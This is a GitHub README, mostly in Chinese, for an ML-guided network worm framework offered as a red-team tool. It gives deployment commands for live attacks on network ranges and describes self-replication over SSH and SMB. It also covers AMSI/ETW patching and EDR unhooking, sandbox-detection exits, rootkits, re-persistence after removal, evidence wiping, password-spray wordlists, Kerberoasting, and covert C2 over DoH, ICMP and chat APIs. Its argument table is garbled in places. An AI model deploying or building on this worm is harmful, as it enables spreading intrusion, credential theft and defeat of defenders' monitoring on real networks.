Ruby570bocadito/Wormy-ML-Network-Worm
GitHub: Ruby570bocadito/Wormy-ML-Network-Worm
一个基于强化学习的自主网络传播平台,通过智能目标优先级排序和28种漏洞利用模块在授权环境中模拟高级持续性威胁。
Stars: 1 | Forks: 1
🐛 Wormy — ML Network Worm v3.0
ML-Driven Autonomous Network Propagation Platform
Developed by Ruby570bocadito
## 目录 - [概述](#overview) - [功能特性](#features) - [v3.0 企业模块](#v30-enterprise-modules-new) - [快速开始](#quick-start) - [一键自动化](#one-command-automation) - [使用说明与命令](#usage--commands) - [Web 仪表板](#web-dashboards) - [交互式 CLI](#interactive-cli) - [架构设计](#architecture) - [ML 大脑](#the-ml-brain) - [漏洞利用模块](#exploit-modules) - [企业密码引擎](#enterprise-password-engine) - [企业规避引擎](#enterprise-evasion-engine) - [Active Directory 模块](#active-directory-module) - [持久化引擎](#persistence-engine) - [Docker 实验室](#docker-lab) - [行动后清理](#post-engagement) - [配置说明](#configuration) - [项目结构](#project-structure) - [环境要求](#requirements) - [许可证](#license) ## 概述 Wormy 是一个**ML 驱动的网络传播框架**,专为授权的红队行动设计。它将基于强化学习的决策制定与企业级漏洞利用技术相结合,用于在受控环境中模拟高级持续性威胁(APT)。 ### 独特之处 - 🧠 **RL 大脑** — 根据资产价值学习优先攻击目标(DC=100,DB=70,工作站=10) - 🔍 **TCP 探测扫描器** — 适用于 Docker Desktop / Windows / NAT 环境下(无需 ICMP) - 🥷 **真正的 AMSI/ETW/DLL 卸载规避** — 非存根,而是实际的内存修补 - 🏢 **Active Directory** 攻击链:LDAP 枚举 → AS-REP Roast → Kerberoast(无需凭据) - 🔄 **OTA 大脑更新** — 通过 C2 接收新模型权重,热替换无需重启 - 🔑 **智能凭据变异**:`Admin` → `Adm!n123`、`Admin@2024`、`4dm1n` ## 功能特性 ### 🧠 ML/RL 引擎 - DQN + Thompson Sampling 自适应目标优先级排序 - 资产价值感知奖励函数 - 通过 C2 进行 OTA 权重更新(热替换无需重启) - 上下文多臂老虎机:UCB1 排序的凭据顺序 - 首次运行无模型时自动训练 ### 🔍 企业扫描器 v2 - TCP SYN 探测主机发现 — 适用于 Docker Desktop / Windows / NAT 环境 - 横幅抓取 + 操作系统指纹识别(无需 nmap) - 资产分类:域控制器、Exchange、数据库服务器、容器主机、工作站 - 35 个端口定义及加权服务检测 ### 🔓 漏洞利用引擎(28 个模块) | 服务 | 技术 | |---|---| | Redis | NoAuth 访问、CONFIG SET RCE、AUTH 暴力破解、SLAVEOF 渗透 | | Elasticsearch | NoAuth API 导出、Painless 脚本 RCE、Kibana SSRF | | Jenkins | Groovy 脚本控制台 RCE | | MySQL/MSSQL/Postgres/MongoDB | 默认凭据利用 | | SSH/FTP/Telnet | 协议感知暴力破解 | | SMB | 哈希传递、EternalBlue | | Exchange | ProxyLogon / ProxyShell | | Active Directory | LDAP 枚举、AS-REP Roast、Kerberoasting | | Log4j | CVE-2021-44228 JNDI 注入 | | Citrix/VMware vCenter | 基于 CVE 的 RCE | | Struts/WebLogic | 远程代码执行 | | Docker daemon | 未认证 API 滥用 | | Kubernetes | Kubelet API 利用 | ### 🔑 企业密码引擎 - 带锁定保护的密码喷洒(每个窗口 1 个密码 × N 个目标) - 变异引擎:每个基础词 35+ 种变体 - 基于公司的密码生成 - 来自泄露列表的凭据填充 - 可配置线程池的并行执行 - 协议处理器:SSH、FTP、MySQL、Postgres、MSSQL、MongoDB、HTTP ### 🥷 企业规避引擎 - 通过 `AmsiScanBuffer` 内存修补实现 AMSI 绕过 - 通过 `EtwEventWrite` 修补实现 ETW 静默 - DLL 卸载(恢复 ntdll.dll 干净副本) - 沙箱检测(进程、构件、时间、RAM、用户名) - 3 层 payload 混淆:XOR + RC4 + Base64 - 睡眠抖动(对数正态分布 — 规避 SIEM 信标检测) - LOLBins 包装器:certutil、mshta、rundll32、wmic、PowerShell 编码 ### 🏢 Active Directory 模块 - 通过端口签名(88+389)和 DNS SRV 记录发现 DC - LDAP 枚举(匿名会话或认证) - AS-REP Roast:无凭据的可破解哈希 - Kerberoasting:TGS 票据提取 → hashcat -m 13100 ### 🔄 多协议 C2 + OTA - HTTP/HTTPS 信标配置可调抖动 - **DNS-over-HTTPS(DoH)** 隐蔽信道(1.1.1.1 / 8.8.8.8 TXT 记录) - **域名前置** 通过 CDN Host 头覆盖 - **P2P Gossip 网格** — 代理之间共享情报无需 C2 - **加密 SQLite 命令队列** — 命令在 C2 离线期间仍可存活 - 指数退避(1s → 300s)带抖动 - OTA 大脑更新:发送 `.pth` 模型权重,热替换无需重启 - 加密遥测(AES-GCM) ## v3.0 企业模块(新增) ### 🔀 波浪传播引擎(`core/wave_propagation.py`) - 基于波浪的传播:W0(初始目标)→ W1(内部子网)→ WN - **通过 SSH 的透视扫描器** — 从被攻陷主机扫描内部子网 - **自复制传输** — SSH(sftp + nohup)和 SMB(impacket)传播 - **传播图** — 有向图防止重复感染循环 - 从每个被攻陷主机收集情报(15 个命令) ### 🤖 代理控制器(`core/agent_controller.py`) - **每个被攻陷主机的持久 SSH 会话池** - **心跳监控**(60s)带自动重感染回调(针对死亡代理) - 每个代理的任务队列(如果代理临时离线则持久化) - **快速情报收集器** — 主机名、sudo、SUID、环境密钥、SSH 密钥、云元数据 - 来自实时情报的资产价值评分(root=+40,云 IAM=+35) - 按价值排序的透视(`get_best_pivots(top_n=N)`) ### 🔁 弹性 C2 引擎(`c2/resilient_c2.py`) - **DoH 信道**:通过 1.1.1.1/8.8.8.8 进行 TXT 记录信标 - **域名前置**:通过 Cloudflare/Azure CDN 覆盖 Host 头 - **P2P Gossip**:代理点对点共享情报,无需中央 C2 - **加密 SQLite 队列**:命令在 C2 离线期间仍可存活 - 指数退避 + 抖动(1s → 300s) - OTA 模型交付带 SHA256 验证 + 原子写入 ### 🔬 高级多态引擎(`evasion/advanced_polymorphic.py`) - **AST 级变形** — 在抽象语法树级别重写代码 - **语义 NOP 注入** — 死代码改变哈希但不改变逻辑 - **网络指纹随机化** — 动态 TTL、UA、抖动、HTTP 头 - 哈希验证循环 — 确保每个变体都有唯一哈希 - 多层字符串混淆(chr() + base64 + XOR) ### 🛡️ 高级自愈(`core/advanced_self_healing.py`) - **SHA256 完整性检查** — 检测 AV/EDR 文件修改 - **重持久化防护** — 如果注册表/cron/systemd 被删除则重建 - **进程看门狗** — 守护子进程在父进程被杀死时重新启动 证据清理 — 日志、shell 历史、临时文件 - `perform_health_check()` 返回每个组件的健康分数 ### 🧹 行动后工具包 - **`scripts/cleanup_engagement.py`** — 清理所有被攻陷主机上的 SSH - 移除蠕虫文件、systemd/cron 持久化、authorized_keys 条目 - 清除本地日志、SQLite 队列、shell 历史、临时文件 - 行动报告的审计跟踪 JSON - **`utils/bloodhound_export.py`** — BloodHound 4.x JSON 导出 - 计算机、用户、组,带 kerberoastable/asrep 标志 - 直接导入 BloodHound 进行攻击路径可视化 ### 🚀 一键部署(`scripts/deploy_kali.sh`) - 自动检测自身 IP → 成为 C2 - 安装所有系统 + Python 依赖 - 在本主机构建并启动 C2 服务器 - 自动修补 config.yaml - 验证所有模块、预检、kill switch 设置 ### 🛠️ v3.0 工业级(新增) #### 🥷 高级规避层(`evasion/`) - **实时内存修补** — 通过直接内存修改实现功能性 AMSI 和 ETW 静默。 - **硬件断点绕过** — 使用调试寄存器(DR0-DR7)规避内存钩子。 - **直接 NT 系统调用** — 动态 SSN 解析和干净系统调用存根,绕过 EDR 用户态钩子。 - **睡眠混淆** — 信标睡眠期间堆加密 + 栈欺骗。 - **JA3 指纹欺骗** — 模拟 Chrome 120 / Firefox TLS 签名以融入浏览器流量。 #### 📡 隐蔽 C2 与加密(`c2/`) - **完全前向保密(PFS)** — X25519 ECDH + AES-256-GCM 认证加密。 - **ICMP 隧道** — 通过原始 ICMP Echo 数据包实现全双工 C2。 - **云中继 C2** — 通过 Telegram Bot API、Slack Webhooks 和 Google Sheets 进行命令与控制。 #### 💾 专业后渗透(`post_exploit/`) - **VSS NTDS 提取** — 使用卷影复制提取 `ntds.dit` 以绕过文件锁。 - **云侦察与攻击** — AWS(IMDSv2)、Azure、GCP 和 Kubernetes 服务账户模块。 - **DCOM 横向移动** — 通过 ShellWindows 和 MMC20 执行,无需生成 `powershell.exe`。 #### 🤖 自主代理与内核(`stager/`、`kernel/`) - **Go Stager** — 无 Python 运行时的独立代理;反调试/沙箱 + 内存注入。 - **Windows 内核驱动** — DKOM 进程隐藏和类似 PPL 的保护(.sys)。 - **Linux LKM Rootkit** — 系统调用钩子(getdents64)隐藏文件、PID 和连接。 - **eBPF 隐蔽钩子** — 现代 Linux 遥测抑制,无需加载内核模块。 #### 📊 行动管理(`monitoring/`、`utils/`) - **多操作员服务器** — 带基于角色的访问控制(RBAC)的 JWT 认证 API。 - **审计跟踪** — 完整 SQLite 记录操作员操作、时间戳和目标。 - **MITRE ATT&CK 映射器** — 自动生成 ATT&CK Navigator JSON 层和事件日志。 - **动态插件系统** — 基于清单注册的可热重加载模块。 ## 快速开始 ``` # 克隆 git clone https://github.com/Ruby570bocadito/Wormy-ML-Network-Worm cd Wormy-ML-Network-Worm # 安装所有依赖项 pip install -r requirements.txt # 部署 Docker 实验室(安全隔离环境) docker compose -f docker-compose-lab.yml up -d # 对 Docker 实验室运行(Windows 兼容注入模式) python -X utf8 tests/test_docker_lab.py # 完整扫描 + 利用模式(Linux / 授权环境) sudo ./scripts/deploy_kali.sh --live --target 192.168.1.0/24 ``` ## 一键自动化 ``` # 此主机成为 C2。一切自动: sudo ./scripts/deploy_kali.sh # prepare (dry-run) sudo ./scripts/deploy_kali.sh --live # prepare + attack sudo ./scripts/deploy_kali.sh --live --target 10.0.1.0/24 --with-msf ``` 约 2 分钟内完成: 1. 自动检测您的 IP → C2 服务器在您的机器上启动 2. 安装 impacket、scapy、ldap3、pymssql、paramiko、bloodhound... 3. 构建 Go C2 或在 8443 端口启动 Python HTTPS 监听器 4. 使用您的 IP 和目标范围修补 `config.yaml` 5. 验证所有 10 个蠕虫模块 6. 预检:C2 健康、DoH、目标网关 ping 7. 启动 `worm_core.py`(仅在 `--live` 时) ## 使用说明与命令 ``` # 交互模式,完整 CLI(推荐) python3 worm_core.py --dry-run --interactive # 试运行 — 安全模拟,无真实利用 python3 worm_core.py --dry-run --profile audit # 隐形配置文件 — 缓慢、谨慎、完全规避激活 python3 worm_core.py --profile stealth # 激进配置文件 — 快速、最大传播 python3 worm_core.py --profile aggressive # 仅扫描 — 发现 + 分类主机,不利用 python3 worm_core.py --scan-only # 使用 Metasploit — 通过 RPC 进行真实 CVE 利用 python3 worm_core.py --config configs/config_msf.yaml # 针对 Docker 实验室(Windows 兼容,无 ICMP) python3 tests/run_worm_vs_lab.py # 紧急停止开关 — 紧急停止 python3 worm_core.py --kill-switch "STOP_WORMY_NOW" ``` ### 命令行参数 | 参数 | 描述 | |---|---| | `--config` | 激活 kill switch |
| `--profile ` | 配置文件:`stealth`、`aggressive`、`audit` |
| `--dry-run` | 模拟执行但不进行真实漏洞利用 |
| `--no-monitor` | 禁用 CLI 监控 |
| `--interactive` | 交互式 CLI 模式 |
## Web 仪表板
Wormy 启动时,会自动启动两个 Web 仪表板:
### Armitage 仪表板 — http://localhost:5001
受 Metasploit Armitage GUI 启发的可视化网络地图:
- **网络地图**:带颜色编码状态的主机图标(绿色=已感染,红色=失败,蓝色=已发现)
- **统计**:已感染、已发现、失败主机的实时计数
- **活动提要**:带时间戳的实时事件日志
- **上下文菜单**:右键单击主机进行漏洞利用、扫描、查看漏洞
- **自动刷新**:每 3 秒更新
### Web 仪表板 — http://localhost:5000
专业监控仪表板:
- **8 个统计卡片**:已感染、已发现、漏洞利用、漏洞利用链、横向移动、凭据、C2 信标、多态变体
- **主机表**:IP、操作系统、状态、健康状况、payload 变体
- **8 个 REST API 端点**:`/api/status`、`/api/hosts`、`/api/activity`、`/api/vulnerabilities`、`/api/credentials`、`/api/topology`、`/api/stats`、`/api/command`
| 位置 | URL |
|---|---|
| 本机 | http://localhost:5001 (Armitage) / http://localhost:5000 (Web) |
| 同一网络 | http://192.168.1.X:5001 / http://192.168.1.X:5000 |
## 交互式 CLI
使用 `python3 worm_core.py --dry-run --interactive` 启动
### 扫描与发现
| 命令 | 描述 |
|---|---|
| `scan [professional\|basic]` | 带可视化进度条扫描网络 |
| `targets` | 列出所有已发现主机 |
| `vulns ` | 显示目标的漏洞 |
| `topo` | 生成网络拓扑可视化 |
### 漏洞利用
| 命令 | 描述 |
|---|---|
| `exploit ` | 漏洞利用特定目标 |
| `chain ` | 显示目标的漏洞利用链 |
| `bruteforce [service]` | 暴力破解凭据 |
| `deploy [type]` | 部署 payload(reverse_shell、beacon、webshell) |
| `exec ` | 在被感染主机上执行命令 |
| `persist [methods]` | 建立持久化 |
### 横向移动
| 命令 | 描述 |
|---|---|
| `pivot ` | 显示从主机开始的横向移动选项 |
### 监控
| 命令 | 描述 |
|---|---|
| `status` | 当前传播状态 |
| `hosts` | 主机监控仪表板 |
| `monitor` | 实时主机监控 |
| `activity [limit]` | 实时活动提要 |
| `evasion` | 显示规避状态和应用的技术 |
| `creds` | 显示已发现的凭据 |
### 执行
| 命令 | 描述 |
|---|---|
| `run [iterations]` | 开始 N 次迭代的传播 |
| `stop` | 停止传播 |
| `report` | 生成完整审计报告 |
## 架构设计
### 系统概览
```
graph TB
subgraph "Worm Core v3.0"
WC[worm_core.py]
SM[Enterprise Scanner v2]
RL[RL Brain DQN+Thompson]
EM[Exploit Manager]
KG[Knowledge Graph]
end
subgraph "Enterprise Engines"
EPE[Password Engine
Spray+Brute+Stuffing]
EEE[Evasion Engine
AMSI+ETW+DLL]
ADA[AD Attacker
LDAP+AS-REP+Kerb]
EPS[Persistence Engine
WMI+SSH+Cron]
end
subgraph "Exploit Modules x28"
RED[Redis RCE]
ELS[Elasticsearch Dump]
JEN[Jenkins Groovy]
SMB[SMB/EternalBlue]
SSH[SSH Brute]
ADE[AD Kerberoast]
end
subgraph "Post-Exploitation"
LM[Lateral Movement]
CD[Credential Dumping]
EXF[Data Exfiltration]
end
subgraph "C2 + OTA"
C2[Multi-Protocol C2]
OTA[OTA Brain Update]
end
subgraph "Dashboards"
ARM[Armitage :5001]
WEB[Web Dashboard :5000]
CLI[Rich Terminal Monitor]
end
WC --> SM & RL & EM & KG
WC --> EPE & EEE & ADA & EPS
EM --> RED & ELS & JEN & SMB & SSH & ADE
EM --> LM --> CD --> EXF
WC --> C2 --> OTA
WC --> ARM & WEB & CLI
```
### 传播流程
```
sequenceDiagram
participant W as Worm Core
participant S as Enterprise Scanner v2
participant RL as RL Brain
participant EV as Evasion Engine
participant EM as Exploit Manager
participant AD as AD Attacker
participant PE as Persistence
W->>S: scan_range(cidr) TCP-probe
S-->>W: hosts sorted by asset_value
W->>AD: attack(hosts) — find DCs
AD-->>W: LDAP enum + AS-REP hashes
W->>RL: select_next_target(hosts)
RL-->>W: highest-value target
W->>EV: apply_all() AMSI+ETW+sandbox
EV-->>W: evasion confirmed
W->>EM: exploit_target()
EM-->>W: success + credentials
W->>PE: establish(payload_path)
PE-->>W: Registry/WMI/SSH key
W->>RL: provide_feedback(reward)
Note over RL: reward=asset_value×stealth_bonus
```
## ML 大脑
RL 代理使用 **Double DQN** 配合 Thompson Sampling 进行探索:
```
graph LR
subgraph "State Space (15 features/host)"
VULN[Vulnerability Score]
PORT[Port Count + Services]
OS[OS Encoding]
ASSET[Asset Type Value]
CRED[Credential Count]
HIST[Exploit History]
RISK[Detection Risk]
HOP[Hop Distance]
end
subgraph "DQN Network"
I[Input Layer 15×N] --> H1[Dense 256 ReLU]
H1 --> H2[Dense 256 ReLU + Dropout]
H2 --> H3[Dense 128 ReLU]
H3 --> O[Output — N actions]
end
subgraph "Training"
PER[Prioritized Replay]
HUB[Huber Loss]
GC[Gradient Clipping]
STU[Soft Target τ=0.005]
end
VULN & PORT & OS & ASSET & CRED & HIST & RISK & HOP --> I
O --> PER --> HUB --> GC --> STU
```
### 资产价值奖励函数
```
ASSET_VALUES = {
'domain_controller': 100, # Crown jewel
'container_host': 90, # K8s/Docker pivot
'exchange_server': 80, # Email + credentials
'database_server': 70, # Data exfil
'file_server': 60, # Lateral movement
'web_server': 30, # Initial access
'workstation': 10, # End user
}
# 隐形奖励乘数
TECHNIQUE_MULTIPLIERS = {
'kerberoasting': 1.5, # Silent, no network noise
'pass_the_ticket': 1.3,
'ssh_pivot': 1.1,
'exploit_rce': 0.9,
'brute_force': 0.8, # Noisy — penalised
}
```
## 漏洞利用模块
所有 28 个模块都继承自 `BaseExploit` 并插入 `ExploitManager`:
```
class Redis_Exploit(BaseExploit):
# NoAuth PING → CONFIG SET RCE → BGSAVE
# AUTH brute (15 common passwords)
# SLAVEOF master takeover for exfil
class Elasticsearch_Exploit(BaseExploit):
# /_cat/indices enum → sensitive index detection
# Painless script RCE check
# Kibana SSRF detection (port 5601)
# Snapshot API abuse
class ActiveDirectory(BaseExploit):
# LDAP null session enum (users, SPNs, admin groups)
# AS-REP Roasting → $krb5asrep$23$ hashes
# Kerberoasting → $krb5tgs$23$ hashes
# Output: hashcat -m 18200 / -m 13100 ready
```
## 企业密码引擎
```
Input: 'Admin'
Mutations generated (35+):
Admin, admin, ADMIN, Admin!
Admin1, Admin123, Admin2024
Admin@2024, Admin@123
4dm1n, 4dm1n!, 4dm1n123
!Admin!, Admin#1, Admin@1
AdminWinter2024, AdminSummer2024
...
Company-based (AcmeCorp → 43 passwords):
AcmeCorp!, AcmeCorp2024, acmecorp123
Welcome1, Welcome2024, AcmeCorp@123
...
Spray mode (lockout-safe):
Round 1: 'Welcome1' × 50 targets (parallel)
[wait 300s anti-lockout window]
Round 2: 'Password123' × 50 targets (parallel)
```
## 企业规避引擎
启动时的执行顺序:
```
1. SandboxDetector.is_sandboxed()
→ Check: Cuckoo process, VirtualBox, VMware, debuggers
→ Check: Timing attack (accelerated time = sandbox)
→ Check: RAM < 1.5GB, CPU count ≤ 1
→ If sandbox: sleep 300-600s and exit
2. DLLUnhooker.unhook_ntdll()
→ Read clean ntdll.dll from C:\Windows\System32\
→ Map .text section → restore original syscall stubs
→ EDR API hooks removed
3. ETWSilencer.silence()
→ Patch EtwEventWrite with single RET byte
→ Kernel telemetry blind
4. AMSIBypass.bypass()
→ Patch AmsiScanBuffer → always returns AMSI_RESULT_CLEAN
→ PowerShell scripts unscanned
5. BeaconJitter.sleep_jitter()
→ log-normal distribution (σ=0.3)
→ Beacon interval varies ±30% — SIEM pattern detection fails
```
## Active Directory
```
Target network: 10.0.0.0/8
Enterprise Scanner finds: 10.0.1.5 (ports 88, 389, 445, 636)
→ AD Attacker triggered automatically
Phase 1 — DC Discovery
Port signature: 88+389 = Domain Controller confirmed
DNS SRV: _ldap._tcp.dc._msdcs.corp.local → 10.0.1.5
Phase 2 — LDAP Enumeration (null session)
Users found: 847
Computers found: 312
AS-REP roastable: 12 accounts (no preauth)
Kerberoastable SPNs: 8 service accounts
Phase 3 — AS-REP Roasting (no credentials needed)
Captured: $krb5asrep$23$svc_backup@corp.local:...
Captured: $krb5asrep$23$john.doe@corp.local:...
→ hashcat -m 18200 hashes.txt rockyou.txt
Phase 4 — Kerberoasting (any domain user)
Captured: $krb5tgs$23$*svc_sql$corp.local*...
→ hashcat -m 13100 hashes.txt rockyou.txt
```
## 持久化引擎
| 平台 | 方法 | 权限 | 隐蔽性 |
|---|---|---|---|
| Windows | 注册表运行键(HKCU) | 用户 | 中 |
| Windows | 计划任务(SYSTEM) | 管理员 | 中 |
| Windows | WMI 事件订阅 | 管理员 | ⭐ 高 |
| Windows | 启动文件夹 | 用户 | 低 |
| Linux | 用户 crontab(@reboot) | 用户 | 中 |
| Linux | /etc/cron.d/ | Root | 中 |
| Linux | Systemd 用户服务 | 用户 | ⭐ 高 |
| Linux | SSH authorized_keys | 用户 | ⭐ 高 |
| Linux | LD_PRELOAD | Root | ⭐⭐ 非常高 |
| Linux | .bashrc/.zshrc 注入 | 用户 | 低 |
## Docker 实验室
### 启动实验室
```
docker compose -f docker-compose-lab.yml up -d
```
### 服务
| 容器 | 端口 | 服务 | 漏洞 |
|---|---|---|---|
| lab_redis | 6379 | Redis 7 | AUTH + CONFIG RCE |
| lab_mysql | 3306 | MySQL 5.7 | 默认凭据 root:root |
| lab_postgres | 5432 | PostgreSQL 14 | 默认凭据 admin:admin123 |
| lab_mongodb | 27017 | MongoDB 6 | NoAuth 访问 |
| lab_mssql | 1433 | MSSQL 2019 | SA 默认密码 |
| lab_jenkins | 8080 | Jenkins LTS | Groovy 控制台 RCE |
| lab_elasticsearch | 9200 | Elasticsearch 7 | NoAuth 数据导出 |
| lab_rabbitmq | 5672/15672 | RabbitMQ 3 | 默认 guest:guest |
| lab_juice | 3000 | OWASP Juice Shop | Web 漏洞 |
### 测试结果(实时)
```
Services reachable: 10/11
Services pwned: 5/10
✅ MySQL — Default creds root:root
✅ PostgreSQL — Default creds admin:admin123
✅ MongoDB — NoAuth listDatabases
✅ Elasticsearch — NoAuth index dump
✅ Juice Shop — HTTP 200 web access
⚠️ Redis — AUTH enabled (brute needed)
⚠️ RabbitMQ — 401 (creds needed)
⚠️ Jenkins — 403 (CSRF token needed)
OTA Brain Update: ✅ OK
```
### 运行测试
```
# 企业模块验证(全部本地,无需 Docker)
python tests/test_enterprise_modules.py
# 实时 Docker 实验室攻击
python tests/run_worm_vs_lab.py
# Docker 服务集成测试
python tests/test_docker_lab.py
# 高级功能(模拟隔离)
python tests/test_advanced_features.py
```
## 配置说明
编辑 `configs/lab_docker.yaml` 或 `configs/config.yaml`:
```
network:
target_ranges:
- "192.168.100.0/24" # Docker lab
# - "10.0.0.0/8" # Enterprise internal
max_threads: 50
scan_timeout: 2.0
propagation:
mode: "aggressive" # aggressive | stealth | scan-only
max_infections: 100
evasion:
stealth_mode: true
detect_ids: true
safety:
geofence_enabled: true
allowed_networks:
- "192.168.100.0/24"
kill_switch_code: "STOP_WORMY_NOW"
max_runtime_hours: 4
auto_destruct_time: 8
ml:
use_pretrained: true
rl_agent_path: "models/rl_agent"
```
### 配置文件
| 配置文件 | 速度 | 规避 | 噪音 | 使用场景 |
|---|---|---|---|---|
| `stealth` | 慢 | 最大 | 最小 | 生产环境红队 |
| `aggressive` | 快 | 最小 | 高 | 内部实验室 |
| `audit` | 中 | 关闭 | 低 | 授权审计 |
## 项目结构
```
wormy/
├── worm_core.py # Main orchestrator (2563 lines)
├── configs/
│ ├── config.yaml # Default config
│ └── lab_docker.yaml # Docker lab config
├── scanning/
│ ├── enterprise_scanner.py # TCP-probe scanner v2 ★
│ └── professional_scanner.py # Async scanner (async)
├── exploits/
│ ├── exploit_manager.py # Exploit dispatcher (28 modules)
│ ├── enterprise_password_engine.py # Spray/brute/stuffing ★
│ ├── active_directory.py # AD: LDAP/AS-REP/Kerberoast ★
│ ├── credential_manager.py # UCB1 credential ranking
│ └── modules/
│ ├── redis_exploit.py # Redis RCE v2 ★
│ ├── elasticsearch_exploit.py # ES data dump v2 ★
│ ├── jenkins_exploit.py
│ ├── mssql_exploit.py
│ ├── ssh_exploit.py
│ ├── smb_exploit.py
│ └── ... # 22 additional modules
├── evasion/
│ ├── enterprise_evasion.py # AMSI/ETW/DLL/obfuscation ★
│ ├── edr_bypass.py
│ ├── polymorphic_engine.py
│ ├── ids_evasion.py
│ └── stealth_engine.py
├── post_exploit/
│ ├── persistence_enterprise.py # WMI/SSH keys/LD_PRELOAD ★
│ ├── persistence.py
│ ├── lateral_movement.py
│ ├── credential_dumping.py
│ └── data_exfiltration.py
├── c2/
│ └── multi_protocol_c2.py # C2 + OTA brain updates
├── rl_engine/
│ └── propagation_agent.py # DQN + Thompson Sampling
├── docker-compose-lab.yml # Vulnerable lab environment
└── tests/
├── run_worm_vs_lab.py # Live lab test ★
├── test_docker_lab.py # Docker integration tests
├── test_enterprise_modules.py # Enterprise module validation ★
└── test_advanced_features.py # Unit tests (mock-isolated)
```
★ = v3.0 新增或升级
## 环境要求
```
pip install -r requirements.txt
```
### 核心(必需)
```
torch>=2.0.0 # RL Brain
impacket>=0.11.0 # SMB, Kerberos, NTLM attacks
paramiko>=3.4.0 # SSH exploitation
requests>=2.31.0 # HTTP exploitation
rich>=13.0.0 # Terminal dashboard
psutil>=5.9.0 # Process/sandbox detection
pyyaml>=6.0.1 # Configuration
networkx>=3.0 # Knowledge graph
```
### 企业版(解锁完整功能)
```
pymysql>=1.1.0 # MySQL exploitation
pymongo>=4.0.0 # MongoDB exploitation
psycopg2-binary>=2.9 # PostgreSQL exploitation
ldap3>=2.9.0 # Active Directory enumeration
dnspython>=2.4.0 # DNS DC discovery
```
### 可选
```
scapy>=2.5.0 # Raw packet crafting
python-nmap>=0.7.1 # Nmap integration
gymnasium>=0.29.0 # RL training environment
```
## 安全控制
| 控制 | 描述 |
|---|---|
| Kill switch | `STOP_WORMY_NOW` 立即停止所有操作 |
| 地理围栏 | 仅限制在定义的网络范围内 |
| 最大感染数 | 被攻陷主机数量硬上限 |
| 最大运行时间 | 配置小时数后自动关闭 |
| 自动销毁 | 时间限制后清理证据 |
| 沙箱退出 | 检测分析环境 → 进入休眠状态 |
| 加密遥测 | AES-256 C2 通信 |
## 许可证
MIT 许可证 — 仅供授权的安全研究和渗透测试使用。
**© 2024 Ruby570bocadito** — [GitHub](https://github.com/Ruby570bocadito/Wormy-ML-Network-Worm) 标签:AD域攻击, Apex, Docker实验环境, Kerberoast, Python, SNMP, StruQ, Web仪表盘, XXE攻击, 域名收集, 无后门, 无线安全, 机器学习, 横向移动, 深度Q学习, 特权检测, 编程规范, 网络传播, 网络安全, 网络安全审计, 网络蠕虫, 自动化渗透工具, 自适应规避, 请求拦截, 逆向工具, 隐私保护